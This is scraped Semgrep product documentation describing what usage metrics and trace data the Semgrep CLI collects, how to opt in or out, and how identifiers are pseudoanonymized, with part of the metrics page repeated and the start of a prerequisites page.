| | Parsed Bytes | Count of bytes without any parse errors | Understand parsing performance | 40312 | Number |
| | | | | | |
| Errors | | | | | |
| | Exit Code | Numeric exit code | Debug commonly occurring issues and aggregate error counts | 1 | Number |
| | Number of Errors | Count of errors | Understanding avg #errors | 2 | Number |
| | Number of Warnings | Count of warnings | Understanding avg #warnings | 1 | Number |
| | Errors | Array of Error Classes (compile-time-constant) | Understand most common errors users encounter | `["UnknownLanguage", "MaxFileSizeExceeded"] ` | ErrorClass\[] |
| | Warnings | Array of Warning Classes (compile-time-constant) | Understand most common warnings users encounter | `["TimeoutExceeded"]` | WarningClass\[] |
| | | | | | |
| Value | | | | | |
| | Engine requested | The engine type requested by the user | Understand which engines are being used; debug engine-specific problems | `"OSS"` | |
| | Engine configuration | The specific engine configuration | Understand which engines are being used; debug engine-specific problems | `{ analysis_type: "Interfile", pro_langs: true, code_config: {} }` | str |
| | Interfile languages used | The languages for which the interfile engine was actually invoked | Understand which interfile languages are being used; measure performance impact and errors | `["C#"]` | str |
| | [Features used](#feature-usage) | List of strings that identify Semgrep features used | Understand what features users find valuable, and what we could deprecate | `["language/python", "option/deep", "option/no-git-ignore", "key/metavariable-comparison"]` | Object |
| | Rule hashes with findings | Map of rule hashes to number of findings | Understand which rules are providing value to the user; diagnose high false-positive rates | `{"7c43c962dfdbc52882f80021e4d0ef2396e6a950867e81e5f61e68390ee9e166": 4}` | Object |
| | Total Findings | Count of all findings | Understand if rules are super noisy for the user | 7 | Number |
| | Findings per product | Count of findings broken down by product | Understand the value that each product provides to the user | `{"code": 5, "secrets": 7, "supply-chain": 10}` | Object |
| | Total Nosems | Count of all `nosem` annotations that tell semgrep to ignore a finding | Understand if rules are super noisy for the user | 3 | Number |
| | | | | | |
|Extension||||||
\| |Machine ID|A random UUID generated by the IDE itself|Understanding number of unique users using IDE integrations|`222bcccd-9dc2-4d10-ac3a-5692460e77ee`|String|
\| |Is New App Install|If the user just installed the IDE integration|Understand common issues with setting up IDE integrations|`false`|Boolean|
\| |Session ID|A random UUID generated everytime the integration starts up, usually when opening a project|Understand errors that commonly happen together, deduplicate errors|`222bcccd-9dc2-4d10-ac3a-5692460e77ee`|String|
\| |Integration version|Current version of the IDE integration|Reproduce and debug issues with specific versions|`1.8.0`| String|
\| |Integration type|IDE being used|Reproduce and debug issues with specific integrations|`vscode`|String|
\| |Autofix count|How many autofixes have been triggered through the integration|Understand the value that the integration provides to the user in helping remediate code issue|10|Number|
\| |Ignore count|How many findings have been ignored by the user through the integration|Understand the quality and noisiness of rules|5|Number|
|Pro Engine install||||||
\| |Success|Whether `semgrep install-semgrep-pro` completed successfully|Understand how many Pro Engine installs happen and how many succeed|`true`|Boolean|
\| |Error|Fixed identifier of the install step that failed|Debug common installation failures|`download-403`|String|
### Anonymous user ID
> `anonymous_user_id: "5f52484c-3f82-4779-9353-b29bbd3193b6"`
To help improve Semgrep products, the Semgrep CLI generates a Universally Unique Identifier (UUID) which is saved locally to a `~/.semgrep/settings.yml` file when the ID does not already exist.
The Semgrep team uses this ID to help answer the following questions:
* > How many people use a given rule/ruleset/snippet?
This enables the Semgrep team to assess their performance,
and we're planning to make these numbers public for all rule authors in the community.
* > What percentage of users log in?
We use this to evaluate our success as we build new authenticated features for the Semgrep Cloud Platform.
* > How often are individual subcommands and CLI features used?
This helps our product and developer experience teams measure feature adoption rate, analyze anonymized usage, and compare cohort behavior to improve our product offerings.
### Feature usage
> `"features": ["language/python", "option/deep", "option/no-git-ignore", "key/metavariable-comparison"]`
Examples of such features are: languages scanned, CLI options passed, keys used in rules, or certain code paths reached, such as using an :include instruction in a .semgrepignore file.
These strings do NOT include user data or specific settings.
As an example, for `semgrep scan --output=secret.txt` Semgrep sends `"option/output"` but will NOT send `"option/output=secret.txt"`.
The list of features tracked as of June 2022 is:
* `language`: What languages were scanned
* `cli-flag`/`cli-envvar`: What options were configured (does NOT include their value)
* `config`: What method was used to retrieve rules (does NOT include any of the rule)
* `registry-query`: The value of a `--config r/foo.bar.baz` setting, limited to the first word (e.g. `r/foo..` in this example)
* `ruleset`: The value of a `--config p/foobar` setting
* `semgrepignore`: Whether an `:include` statement was used in a .semgrepignore file
* `subcommand`: What subcommand was used (e.g. `scan` or `ci`)
The Semgrep team uses this to answer the following questions:
* > How many people use a given feature?
This guides our development,
and lets us decide when and how to deprecate features.
* > How does feature usage affect finding counts, error counts, and performance?
We use this to evaluate experimental features
and understand their production-readiness.
> Engine requested (OSS, Pro, Interfile)
The engine requested is stored separately from the other features. This is the
engine indicated by the user through app toggles or CLI flags. We use this for
debugging as well as to understand which engines people are using.
### Sample metrics
This is a sample blob of the aggregate metrics described above:
```
{
"started_at": "2021-05-10T21:05:06+00:00",
"sent_at": "2021-05-10T21:05:09+00:00",
"event_id": "222bcccd-9dc2-4d10-ac3a-5692460e77ee",
"anonymous_user_id": "5f52484c-3f82-4779-9353-b29bbd3193b6",
"environment": {
"version": "0.51.0",
"ci": "true",
"configNamesHash": "ede96c41b57de3e857090fb3c486e69ad8efae3267bac4ac5fbc19dde7161094",
"projectHash": "c65437265631ab2566802d4d90797b27fbe0f608dceeb9451b979d1671c4bc1a",
"rulesHash": "b03e452f389e5a86e56426c735afef13686b3e396499fc3c42561f36f6281c43",
"isAuthenticated": false
},
"performance": {
"runTime": 37.1234233823,
"numRules": 2,
"numTargets": 573,
"totalBytesScanned": 33938923,
"ruleStats": [{
"ruleHash": "7c43c962dfdbc52882f80021e4d0ef2396e6a950867e81e5f61e68390ee9e166",
"parseTime": 0,
"matchTime": 0.05480456352233887,
"runTime": 0.20836973190307617,
"bytesScanned": 0
}],
"fileStats": [{
"size": 6725,
"numTimesScanned": 147,
"parseTime": 0.013289928436279297,
"matchTime": 0.05480456352233887,
"runTime": 0.20836973190307617
}]
},
"parse_rate": {
"python": {
"num_targets": 102,
"targets_parsed": 101,
"num_bytes": 985123,
"bytes_parsed": 993419
},
"ruby": {
"num_targets": 12,
"targets_parsed": 12,
"num_bytes": 341027,
"bytes_parsed": 341027
}
},
"errors": {
"returnCode": 1,
"errors": ["UnknownLanguage"],
"warnings": ["MaxFileSizeExceeded", "TimeoutExceeded"]
},
"value": {
"ruleHashesWithFindings": {"7c43c962dfdbc52882f80021e4d0ef2396e6a950867e81e5f61e68390ee9e166": 4},
"numFindings": 7,
"numIgnored": 3,
"features": ["language/python", "option/deep", "option/no-git-ignore", "key/metavariable-comparison"],
"engineRequested": "OSS",
"engineConfig": { analysis_type: "Intraprocedural", pro_langs: false }
}
}
```
## Data collected when explicitly requested
For Semgrep AppSec Platform users running `semgrep ci` while logged in,
data is sent to power your dashboard, notification, dependency search, and finding management features.
These data are ONLY sent when using `semgrep ci` in a platform-connected mode
and are not sent when not logged in.
Three types of data are sent to Semgrep, Inc servers for this logged-in use case: scan data, findings data, and dependencies data.
**Scan data** provide information on the environment and performance.
They power dashboards, identify anomalies with the product, and are needed for billing.
The classes of scan data are:
* Project identity (e.g., name, URL)
* Scan environment (e.g., CI provider, OS)
* Author identity (e.g., committer email)
* Commit metadata (e.g., commit hash and timestamp)
* Review and review-requester identifying data (e.g., pull-request ID, branch, merge base, request author)
* Scan metadata, including type of scan and scan parameters (e.g., paths scanned and extensions of ignored files)
* Timing metrics (e.g., time taken to scan per-rule and per-path)
* Parse metrics (e.g., number of files targeted and parsed per-language)
* Semgrep CLI environment (e.g., version, interpreter, timestamp)
**Findings data** are used to provide human readable content for notifications and integrations,
as well tracking results as new, fixed, or duplicate. The classes of findings data are:
* Check ID and metadata (as defined in the rule definition; e.g., OWASP category, message, severity)
* Code location, including file path, that triggered findings
* A one-way hash of a unique code identifier that includes the triggering code content
* Dependency name and version (only sent when using Semgrep Supply Chain)
* Source code is NOT collected
**Dependencies data** are used to power Dependency Search and License Compliance. The classes of
dependencies data are:
* Package name (e.g., lodash)
* Package version (e.g., 1.2.3)
* File path for lockfile (e.g., frontend/yarn.lock)
* Analysis of external dependency calls. (e.g., from flask import Response, Response(status=204))
## Debugging data collected when traces are requested
To help debug performance issues, Semgrep CLI can send traces, enabled via `--trace`.
Traces are never sent unless the `--trace` flag is included, and are never retained for more than 30 days.
There are three modes of tracing.
1. Info (`--trace`): basic tracing. Sends basic info about settings passed via environment variables or flags, and timings around scan phases.
2. Debug (`--trace` with `SEMGREP_TRACE_LEVEL=debug`): debug tracing. Sends additional timings, particularly around functions run during taint analysis, timings about each file as it undergoes pre-processing and then matching. Includes the file path and sometimes rule names.
3. Trace (`--trace` with `SEMGREP_TRACE_LEVEL=trace`): even more detailed debug tracing.
All traces are sent in Opentelemetry format and may include:
* Semgrep function currently running (e.g. `Match_tainting_mode.check_rules`)
* Start time (e.g. `1718775054055113`)
* Duration (e.g. `934956`)
* Settings passed (e.g. `--jobs`, `--timeout`)
Additionally, summary data is always included in the top level trace, such as:
* Repo name (e.g. `semgrep-app`)
* Number of matches (e.g. `2`)
* Number of errors (e.g. `1`)
* Number of rules (e.g. `12`)
* Number of targets (e.g. `128`)
* Is a diff scan (e.g. `false`)
* Is an interfile scan (e.g. `true`)
* Cryptographic hash of rules (e.g. `One-way hash of the rule definitions`)
* Other scan settings of a similar nature. Summary data will only include information that `semgrep ci` has access to.
Additionally, informational, warning, and error logs will be included when
tracing is enabled, which may include:
* Stacktraces from when Semgrep crashes
* Warnings about high memory usage
* Informational logs about which stage of scanning Semgrep is performing
No information will be sent in the info mode that would not be sent by `semgrep ci`.
In debug and trace mode only, traces may also include:
* file paths (e.g. `src/my_file.py`)
* Hashed function names (e.g. `d40fdc8ef9bf7b7dd1b014533a58a05e9b98d7dd856784352201388fe5e22673`)
* Hashed variable names (e.g. `0268934f5c43d1b5fc7d52d9efe17c69f1144b108c384c3513cbe493043712b3`)
These data help us establish if a function is being analyzed for taint more times than expected.
Debug and trace mode are meant for one-off debugging of slow scans, and data from these trace modes will not be retained for more than a week.
## Registry fetches
Certain Registry resources require log-in to the Semgrep Registry. Log in may be performed
using your project URL, or a Semgrep.dev API token. When using these resources, your project's
identity will be recorded by the Semgrep Registry servers.
## Data sharing
We use some third party companies and services to help administer and provide Semgrep, for example for hosting, customer support, product usage analytics, and database management. These third parties are permitted to handle data only to perform these tasks in a manner consistent with this document and are obligated not to disclose or use it for any other purpose.
We do not share or sell the information provided to us with other organizations without explicit consent, except as described in this document.
# Semgrep metrics
Source: https://docs.semgrep.dev/metrics-1
Semgrep CLI may collect aggregate metrics to help improve the product. This document describes:
* [the principles that guide our data-collection decisions](#principles)
* [how to change when Semgrep sends metrics](#automatic-collection-opt-in-and-opt-out)
* [what data is not collected](#data-not-collected)
* [what data is collected](#data-collected-as-metrics)
# Semgrep metrics
Semgrep CLI may collect aggregate metrics to help improve the product. This document describes:
* [the principles that guide our data-collection decisions](#principles)
* [how to change when Semgrep sends metrics](#automatic-collection-opt-in-and-opt-out)
* [what data is not collected](#data-not-collected)
* [what data is collected](#data-collected-as-metrics)
## Principles
These principles inform our decisions around data collection:
1. **Transparency**: Collect and use data in a way that is clearly explained to the user and benefits them
2. **User control**: Put users in control of their data at all times
3. **Limited data**: Collect what is needed, pseudoanonymize where possible, and delete when no longer necessary
## Automatic collection, opt-in, and opt-out
```sh theme={null}
$ semgrep --config=myrule.yaml # β no metrics (loading rules from local file)
$ semgrep --config=p/python # β metrics enabled (fetching Registry)
$ semgrep login && semgrep ci # β metrics enabled (logged in to semgrep.dev)
$ semgrep install-semgrep-pro # β metrics enabled (requires being logged in)
```
Semgrep does **not** enable metrics when running with only local configuration files or command-line search patterns.
Semgrep does enable metrics if rules are loaded from the [Semgrep Registry](https://semgrep.dev/r).
This helps maintainers improve the correctness and performance of registry rules.
Metrics may also be configured to be sent on every run, or never sent.
To configure metrics, pass the `--metrics` option to Semgrep:
* `--metrics auto`: (default) metrics are sent whenever rules are pulled from the [Semgrep Registry](https://semgrep.dev/r) or the user is logged in.
* `--metrics on`: metrics are sent on every Semgrep run
* `--metrics off`: metrics are never sent
Alternatively, set the `SEMGREP_SEND_METRICS` environment variable to `auto`, `on`, or `off`.
Note that certain Semgrep integrators turn on metrics for every run.
For example, [GitLab's Semgrep SAST analyzer](https://gitlab.com/gitlab-org/security-products/analyzers/semgrep) uses `--metrics on` by default.
## Data NOT collected
### Data NOT collected ever
We strive to balance our desire to collect data for improving Semgrep
with our users' need for privacy and security.
After all, we are a security tool!
The following never leave your environment and are not sent or shared with anyone.
* Source code
* Private rules
### Data NOT collected unless explicitly requested
The following data will never leave your environment as part of metrics.
* Filenames
* Git commit hashes, timestamps, messages, authors
* User-identifiable data about Semgrepβs findings in your code, including finding messages
This data will be sent to Semgrep AppSec Platform only if you explicitly request it,
such as with `semgrep login && semgrep ci` to connect with Semgrep AppSec Platform.
Even in that case, your source code and private rules will never be sent.
## Data collected as metrics
Semgrep CLI collects data to improve the user experience.
Five types of data are collected:
### Environmental
Environmental data provide contextual data about Semgrep CLIβs runtime environment, as well as information that helps debug any issues users may be facing; e.g.
* How long the command took to run
* The version of Semgrep CLI
* An [anonymous user ID](#anonymous-user-id) that identifies the machine
* IP address that triggers a run
* Value of the CI environment variable, if set
* How the Semgrep CLI was installed (`pip`, `homebrew`, `docker`, or `unknown`), detected heuristically from the install path and environment variables
* Pseudoanonymized hash of the scanned projectβs name
* Pseudoanonymized hash of the rule definitions run
* Pseduoanonymized hash of the config option.
*(Note that when a config option downloads a ruleset from the [https://semgrep.dev](https://semgrep.dev) registry, [feature usage metrics](#feature-usage) still include the ruleset name in plain text.)*
### Performance
Performance data enable understanding of which rules and types of files are slow in the aggregate so Semgrep, Inc can improve the program-analysis engine, query optimizer, and debug slow rules; e.g.
* Runtime duration
* Duration of individual phases (e.g. parsing)
* Total number of rules
* Total number of files
* Project size in bytes
### Parse Rates
Aggregated parse rate information is reported on a per-language basis; e.g.,
* Number of targeted files
* Number of files without any parse-related error
* Number of bytes across targeted files
* Number of bytes without any parse-related error
### Errors
High-level error and warning classes encountered when run; e.g.
* Semgrepβs return code
* The number of errors
* Compile-time error names, e.g., MaxFileSizeExceeded, SystemOutOfMemory, UnknownFileEncoding
### Value
Data that indicate how useful a run is for the end user; e.g.
* Number of raised findings
* Number of ignored findings
* Pseudoanonymized hashes of the rule definitions that yield findings
* The [features used](#feature-usage) during the scan
* The engine type requested for the scan
### Extension
Additional data is reported when used in conjunction with an IDE integration, such as the [Semgrep VS Code Extension](https://github.com/semgrep/semgrep-vscode), that help us understand what IDEs are used and how helpful the integrations are for users; e.g.
* IDE being used
* Version of IDE integration
* Number of fixes triggered through the integration
* Number of findings ignored through the integration
Note: For all officially supported Semgrep IDE integrations, these metrics can be disabled via settings in the IDE. By default these settings follow any global telemetry/metrics settings the user may have already set for the IDE itself.
### Pro Engine installation
When running `semgrep install-semgrep-pro` (which requires being logged in), additional data is reported to help us understand how many Pro Engine installations happen and how many succeed; e.g.
* Whether the installation completed successfully
* Which installation step failed, as a fixed identifier such as `download-403` or `version-check-failed` (never a free-form error message)
### Pseudoanonymization
Certain identifying data (e.g. project URLs) are pseudoanonymized before being sent to the Semgrep, Inc backend.
"Pseudoanonymized" means the data are transformed using a deterministic cryptographically secure hash. When the input data are unknown, this hash is expensive to reverse. However, when input data are known, a reverse dictionary of identifiers to hashes can be built. Hence, data are anonymous only when the source values are unknown.
We use a deterministic hash to:
* Track performance and value improvements over successive runs on projects
* Remove test data from our metrics
Using a deterministic hash, however, implies:
* An entity that independently knows the value of an input datum AND who has access to Semgrep, Inc's metrics data could access metrics for that known datum
Semgrep, Inc will:
* Treat collected metrics data as secret, using application-security best practices, including (but not limited to)
* Encryption during transit and rest
* Strict access control to data-storage systems
* Application-security-policy requirements for third parties (e.g. cloud-service providers; see "data sharing" below)
* Only correlate hashed data to input data when these inputs are already known to Semgrep, Inc (e.g. publicly available project URLs for open-source projects, or projects that log in to the Semgrep Registry)
## Description of metrics fields
| Category | Field | Description | Use Case | Example Datum | Type |
| ----------- | --------------------------------------- | ----------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | --------------- |
| Environment | | | | | |
| | Timestamps (started/sent) | Time when the event fired | Understanding tool usage over time | 2021-05-10T21:05:06+00:00 | String |
| | Event ID | A random UUID generated when sending the event. | Deduplicating events in case of issues during transmission | 222bcccd-9dc2-4d10-ac3a-5692460e77ee | String |
| | [Anonymous User ID](#anonymous-user-id) | A random UUID generated on first run. | Unique users per ruleset and feature. Understanding percentage of logged in users. | 5f52484c-3f82-4779-9353-b29bbd3193b6 | String |
| | Version | Semgrep version being used | Reproduce and debug issues with specific versions | 0.51.0 | String |
| | Project hash | One-way hash of the project URL | Understand performance and accuracy improvements | `c65437265631ab2566802d4d90797b27fbe0f608dceeb9451b979d1671c4bc1a` | String |
| | Rules hash | One-way hash of the rule definitions | Understand performance improvements | `b03e452f389e5a86e56426c735afef13686b3e396499fc3c42561f36f6281c43` | String |
| | Config hash | One-way hash of the config argument | Understand performance and accuracy improvements | `ede96c41b57de3e857090fb3c486e69ad8efae3267bac4ac5fbc19dde7161094` | String |
| | Is authenticated | Whether the user logged in to semgrep.dev with `semgrep login` | Understand popularity of logged in features | `false` | Boolean |
| | Deployment ID | The ID organization associated with the logged in account | Understand popularity of logged in features by organization | 1234 | Number |
| | Integration name | If Semgrep is being called by another tool, optional name of that integration | Reproduce and debug issues specific integrations | `gitlab` | String |
| | CI | Notes if Semgrep is running in CI and the name of the provider | Reproduce and debug issues with specific CI providers | GitLabCI v0.13.12 | String |
| | Install method | How the Semgrep CLI was installed, detected heuristically | Understand which distribution channels are used; debug channel-specific issues | `pip` | String |
| | Client IP | IP address that triggered a run | Understand broad ruleset usage | 0.0.0.0 | String |
| | | | | | |
| Performance | | | | | |
| | Duration | How long the command took to run | Understanding aggregate performance improvements and regressions | 14.13 | Number |
| | Total Rules | Count of rules | Understand how duration is affected by #rules | 137 | Number |
| | Total Files | Count of files | Understand how duration is affected by #files | 4378 | Number |
| | Total Bytes | Summation of target file size | Understand how duration is related to total size of all target files | 40838239 | Number |
| | Rule Stats | Performance statistics (w/ rule hashes) for slowest rules | Debug rule performance | `[{"ruleHash": "7c43c962dfdbc52882f80021e4d0ef2396e6a950867e81e5f61e68390ee9e166","parseTime": 0,"matchTime": 0.05480456352233887,"runTime": 0.20836973190307617,"bytesScanned": 0}]` | StatsClass\[] |
| | File Stats | Performance statistics for slowest files | Debug rule performance | `[{"size": 6725,"numTimesScanned": 147,"parseTime": 0.013289928436279297,"matchTime": 0.05480456352233887,"runTime": 0.20836973190307617}]` | StatsClass\[] |
| | | | | | |
| | | | | | |
| Parsing | | | | | |
| | Total Files | Count of files, on a per-language basis | Understand parsing performance | 143 | Number |
| | Total Bytes | Summation of target file size, likewise grouped | Understand parsing performance | 41244 | Number |
| | Parsed Files | Count of files without parse errors | Understand parsing performance | 140 | Number |
| | Parsed Bytes | Count of bytes without any parse errors | Understand parsing performance | 40312 | Number |
| | | | | | |
| Errors | | | | | |
| | Exit Code | Numeric exit code | Debug commonly occurring issues and aggregate error counts | 1 | Number |
| | Number of Errors | Count of errors | Understanding avg #errors | 2 | Number |
| | Number of Warnings | Count of warnings | Understanding avg #warnings | 1 | Number |
| | Errors | Array of Error Classes (compile-time-constant) | Understand most common errors users encounter | `["UnknownLanguage", "MaxFileSizeExceeded"] ` | ErrorClass\[] |
| | Warnings | Array of Warning Classes (compile-time-constant) | Understand most common warnings users encounter | `["TimeoutExceeded"]` | WarningClass\[] |
| | | | | | |
| Value | | | | | |
| | Engine requested | The engine type requested by the user | Understand which engines are being used; debug engine-specific problems | `"OSS"` | |
| | Engine configuration | The specific engine configuration | Understand which engines are being used; debug engine-specific problems | `{ analysis_type: "Interfile", pro_langs: true, code_config: {} }` | str |
| | Interfile languages used | The languages for which the interfile engine was actually invoked | Understand which interfile languages are being used; measure performance impact and errors | `["C#"]` | str |
| | [Features used](#feature-usage) | List of strings that identify Semgrep features used | Understand what features users find valuable, and what we could deprecate | `["language/python", "option/deep", "option/no-git-ignore", "key/metavariable-comparison"]` | Object |
| | Rule hashes with findings | Map of rule hashes to number of findings | Understand which rules are providing value to the user; diagnose high false-positive rates | `{"7c43c962dfdbc52882f80021e4d0ef2396e6a950867e81e5f61e68390ee9e166": 4}` | Object |
| | Total Findings | Count of all findings | Understand if rules are super noisy for the user | 7 | Number |
| | Findings per product | Count of findings broken down by product | Understand the value that each product provides to the user | `{"code": 5, "secrets": 7, "supply-chain": 10}` | Object |
| | Total Nosems | Count of all `nosem` annotations that tell semgrep to ignore a finding | Understand if rules are super noisy for the user | 3 | Number |
| | | | | | |
|Extension||||||
\| |Machine ID|A random UUID generated by the IDE itself|Understanding number of unique users using IDE integrations|`222bcccd-9dc2-4d10-ac3a-5692460e77ee`|String|
\| |Is New App Install|If the user just installed the IDE integration|Understand common issues with setting up IDE integrations|`false`|Boolean|
\| |Session ID|A random UUID generated everytime the integration starts up, usually when opening a project|Understand errors that commonly happen together, deduplicate errors|`222bcccd-9dc2-4d10-ac3a-5692460e77ee`|String|
\| |Integration version|Current version of the IDE integration|Reproduce and debug issues with specific versions|`1.8.0`| String|
\| |Integration type|IDE being used|Reproduce and debug issues with specific integrations|`vscode`|String|
\| |Autofix count|How many autofixes have been triggered through the integration|Understand the value that the integration provides to the user in helping remediate code issue|10|Number|
\| |Ignore count|How many findings have been ignored by the user through the integration|Understand the quality and noisiness of rules|5|Number|
|Pro Engine install||||||
\| |Success|Whether `semgrep install-semgrep-pro` completed successfully|Understand how many Pro Engine installs happen and how many succeed|`true`|Boolean|
\| |Error|Fixed identifier of the install step that failed|Debug common installation failures|`download-403`|String|
### Anonymous user ID
> `anonymous_user_id: "5f52484c-3f82-4779-9353-b29bbd3193b6"`
To help improve Semgrep products, the Semgrep CLI generates a Universally Unique Identifier (UUID) which is saved locally to a `~/.semgrep/settings.yml` file when the ID does not already exist.
The Semgrep team uses this ID to help answer the following questions:
* > How many people use a given rule/ruleset/snippet?
This enables the Semgrep team to assess their performance,
and we're planning to make these numbers public for all rule authors in the community.
* > What percentage of users log in?
We use this to evaluate our success as we build new authenticated features for the Semgrep Cloud Platform.
* > How often are individual subcommands and CLI features used?
This helps our product and developer experience teams measure feature adoption rate, analyze anonymized usage, and compare cohort behavior to improve our product offerings.
### Feature usage
> `"features": ["language/python", "option/deep", "option/no-git-ignore", "key/metavariable-comparison"]`
Examples of such features are: languages scanned, CLI options passed, keys used in rules, or certain code paths reached, such as using an :include instruction in a .semgrepignore file.
These strings do NOT include user data or specific settings.
As an example, for `semgrep scan --output=secret.txt` Semgrep sends `"option/output"` but will NOT send `"option/output=secret.txt"`.
The list of features tracked as of June 2022 is:
* `language`: What languages were scanned
* `cli-flag`/`cli-envvar`: What options were configured (does NOT include their value)
* `config`: What method was used to retrieve rules (does NOT include any of the rule)
* `registry-query`: The value of a `--config r/foo.bar.baz` setting, limited to the first word (e.g. `r/foo..` in this example)
* `ruleset`: The value of a `--config p/foobar` setting
* `semgrepignore`: Whether an `:include` statement was used in a .semgrepignore file
* `subcommand`: What subcommand was used (e.g. `scan` or `ci`)
The Semgrep team uses this to answer the following questions:
* > How many people use a given feature?
This guides our development,
and lets us decide when and how to deprecate features.
* > How does feature usage affect finding counts, error counts, and performance?
We use this to evaluate experimental features
and understand their production-readiness.
> Engine requested (OSS, Pro, Interfile)
The engine requested is stored separately from the other features. This is the
engine indicated by the user through app toggles or CLI flags. We use this for
debugging as well as to understand which engines people are using.
### Sample metrics
This is a sample blob of the aggregate metrics described above:
```
{
"started_at": "2021-05-10T21:05:06+00:00",
"sent_at": "2021-05-10T21:05:09+00:00",
"event_id": "222bcccd-9dc2-4d10-ac3a-5692460e77ee",
"anonymous_user_id": "5f52484c-3f82-4779-9353-b29bbd3193b6",
"environment": {
"version": "0.51.0",
"ci": "true",
"configNamesHash": "ede96c41b57de3e857090fb3c486e69ad8efae3267bac4ac5fbc19dde7161094",
"projectHash": "c65437265631ab2566802d4d90797b27fbe0f608dceeb9451b979d1671c4bc1a",
"rulesHash": "b03e452f389e5a86e56426c735afef13686b3e396499fc3c42561f36f6281c43",
"isAuthenticated": false
},
"performance": {
"runTime": 37.1234233823,
"numRules": 2,
"numTargets": 573,
"totalBytesScanned": 33938923,
"ruleStats": [{
"ruleHash": "7c43c962dfdbc52882f80021e4d0ef2396e6a950867e81e5f61e68390ee9e166",
"parseTime": 0,
"matchTime": 0.05480456352233887,
"runTime": 0.20836973190307617,
"bytesScanned": 0
}],
"fileStats": [{
"size": 6725,
"numTimesScanned": 147,
"parseTime": 0.013289928436279297,
"matchTime": 0.05480456352233887,
"runTime": 0.20836973190307617
}]
},
"parse_rate": {
"python": {
"num_targets": 102,
"targets_parsed": 101,
"num_bytes": 985123,
"bytes_parsed": 993419
},
"ruby": {
"num_targets": 12,
"targets_parsed": 12,
"num_bytes": 341027,
"bytes_parsed": 341027
}
},
"errors": {
"returnCode": 1,
"errors": ["UnknownLanguage"],
"warnings": ["MaxFileSizeExceeded", "TimeoutExceeded"]
},
"value": {
"ruleHashesWithFindings": {"7c43c962dfdbc52882f80021e4d0ef2396e6a950867e81e5f61e68390ee9e166": 4},
"numFindings": 7,
"numIgnored": 3,
"features": ["language/python", "option/deep", "option/no-git-ignore", "key/metavariable-comparison"],
"engineRequested": "OSS",
"engineConfig": { analysis_type: "Intraprocedural", pro_langs: false }
}
}
```
## Data collected when explicitly requested
For Semgrep AppSec Platform users running `semgrep ci` while logged in,
data is sent to power your dashboard, notification, dependency search, and finding management features.
These data are ONLY sent when using `semgrep ci` in a platform-connected mode
and are not sent when not logged in.
Three types of data are sent to Semgrep, Inc servers for this logged-in use case: scan data, findings data, and dependencies data.
**Scan data** provide information on the environment and performance.
They power dashboards, identify anomalies with the product, and are needed for billing.
The classes of scan data are:
* Project identity (e.g., name, URL)
* Scan environment (e.g., CI provider, OS)
* Author identity (e.g., committer email)
* Commit metadata (e.g., commit hash and timestamp)
* Review and review-requester identifying data (e.g., pull-request ID, branch, merge base, request author)
* Scan metadata, including type of scan and scan parameters (e.g., paths scanned and extensions of ignored files)
* Timing metrics (e.g., time taken to scan per-rule and per-path)
* Parse metrics (e.g., number of files targeted and parsed per-language)
* Semgrep CLI environment (e.g., version, interpreter, timestamp)
**Findings data** are used to provide human readable content for notifications and integrations,
as well tracking results as new, fixed, or duplicate. The classes of findings data are:
* Check ID and metadata (as defined in the rule definition; e.g., OWASP category, message, severity)
* Code location, including file path, that triggered findings
* A one-way hash of a unique code identifier that includes the triggering code content
* Dependency name and version (only sent when using Semgrep Supply Chain)
* Source code is NOT collected
**Dependencies data** are used to power Dependency Search and License Compliance. The classes of
dependencies data are:
* Package name (e.g., lodash)
* Package version (e.g., 1.2.3)
* File path for lockfile (e.g., frontend/yarn.lock)
* Analysis of external dependency calls. (e.g., from flask import Response, Response(status=204))
## Debugging data collected when traces are requested
To help debug performance issues, Semgrep CLI can send traces, enabled via `--trace`.
Traces are never sent unless the `--trace` flag is included, and are never retained for more than 30 days.
There are three modes of tracing.
1. Info (`--trace`): basic tracing. Sends basic info about settings passed via environment variables or flags, and timings around scan phases.
2. Debug (`--trace` with `SEMGREP_TRACE_LEVEL=debug`): debug tracing. Sends additional timings, particularly around functions run during taint analysis, timings about each file as it undergoes pre-processing and then matching. Includes the file path and sometimes rule names.
3. Trace (`--trace` with `SEMGREP_TRACE_LEVEL=trace`): even more detailed debug tracing.
All traces are sent in Opentelemetry format and may include:
* Semgrep function currently running (e.g. `Match_tainting_mode.check_rules`)
* Start time (e.g. `1718775054055113`)
* Duration (e.g. `934956`)
* Settings passed (e.g. `--jobs`, `--timeout`)
Additionally, summary data is always included in the top level trace, such as:
* Repo name (e.g. `semgrep-app`)
* Number of matches (e.g. `2`)
* Number of errors (e.g. `1`)
* Number of rules (e.g. `12`)
* Number of targets (e.g. `128`)
* Is a diff scan (e.g. `false`)
* Is an interfile scan (e.g. `true`)
* Cryptographic hash of rules (e.g. `One-way hash of the rule definitions`)
* Other scan settings of a similar nature. Summary data will only include information that `semgrep ci` has access to.
Additionally, informational, warning, and error logs will be included when
tracing is enabled, which may include:
* Stacktraces from when Semgrep crashes
* Warnings about high memory usage
* Informational logs about which stage of scanning Semgrep is performing
No information will be sent in the info mode that would not be sent by `semgrep ci`.
In debug and trace mode only, traces may also include:
* file paths (e.g. `src/my_file.py`)
* Hashed function names (e.g. `d40fdc8ef9bf7b7dd1b014533a58a05e9b98d7dd856784352201388fe5e22673`)
* Hashed variable names (e.g. `0268934f5c43d1b5fc7d52d9efe17c69f1144b108c384c3513cbe493043712b3`)
These data help us establish if a function is being analyzed for taint more times than expected.
Debug and trace mode are meant for one-off debugging of slow scans, and data from these trace modes will not be retained for more than a week.
## Registry fetches
Certain Registry resources require log-in to the Semgrep Registry. Log in may be performed
using your project URL, or a Semgrep.dev API token. When using these resources, your project's
identity will be recorded by the Semgrep Registry servers.
## Data sharing
We use some third party companies and services to help administer and provide Semgrep, for example for hosting, customer support, product usage analytics, and database management. These third parties are permitted to handle data only to perform these tasks in a manner consistent with this document and are obligated not to disclose or use it for any other purpose.
We do not share or sell the information provided to us with other organizations without explicit consent, except as described in this document.
# Prerequisites
Source: https://docs.semgrep.dev/prerequisites
This document details the required software or services to run Semgrep products.
## Overall
A programming language must be supported by Semgrep for your chosen product.
| Product | Scan type | Link |
| ------------------------------ | --------- | -------------------------------------------------------------------- |
| Semgrep Community Edition (CE) | SAST | [Supported languages](/supported-languages#language-maturity-levels) |
| Semgrep Code | SAST | [Supported languages](/supported-languages#language-maturity-levels) |
| Semgrep Supply Chain | SCA | [Supported languages](/supported-languages#semgrep-supply-chain) |
| Semgrep Secrets | Secrets | Language-agnostic |
## Semgrep command-line tool
